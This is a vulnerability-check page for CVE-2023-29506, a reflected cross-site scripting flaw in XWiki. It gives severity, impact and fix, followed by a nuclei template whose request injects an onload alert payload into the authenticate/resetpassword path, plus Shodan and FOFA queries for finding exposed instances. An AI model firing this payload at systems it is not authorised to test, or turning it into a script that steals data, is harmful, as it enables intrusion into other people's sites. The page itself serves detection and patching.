XWiki >= 13.10.8 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.7%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

Reflected XSS vulnerability in XWiki authenticate endpoints allows execution of arbitrary JavaScript.

Impact

Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.

Fix

Implement proper input validation and output encoding to prevent XSS attacks in the XWiki application.

How to confirm it

Send: GET {{BaseURL}}/xwiki/authenticate/wiki/xwiki%22onload=%22alert(document.domain)%22/resetpassword
Positive when: contains "wiki-xwiki\"onload=\"alert(document.domain)\"" and "resetPasswordForm" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-29506 -u <target>

The full check

id: CVE-2023-29506

info:
  name: XWiki >= 13.10.8 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Reflected XSS vulnerability in XWiki authenticate endpoints allows execution of arbitrary JavaScript.
  impact: |
    Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.
  remediation: |
    Implement proper input validation and output encoding to prevent XSS attacks in the XWiki application.
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-jjm5-5v9v-7hx2
    - https://jira.xwiki.org/browse/XWIKI-20335
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29506
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-29506
    cwe-id: CWE-79
    epss-score: 0.01721
    epss-percentile: 0.77674
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2023,xwiki,xss,vuln


http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/authenticate/wiki/xwiki%22onload=%22alert(document.domain)%22/resetpassword"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'wiki-xwiki"onload="alert(document.domain)"'
          - 'resetPasswordForm'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from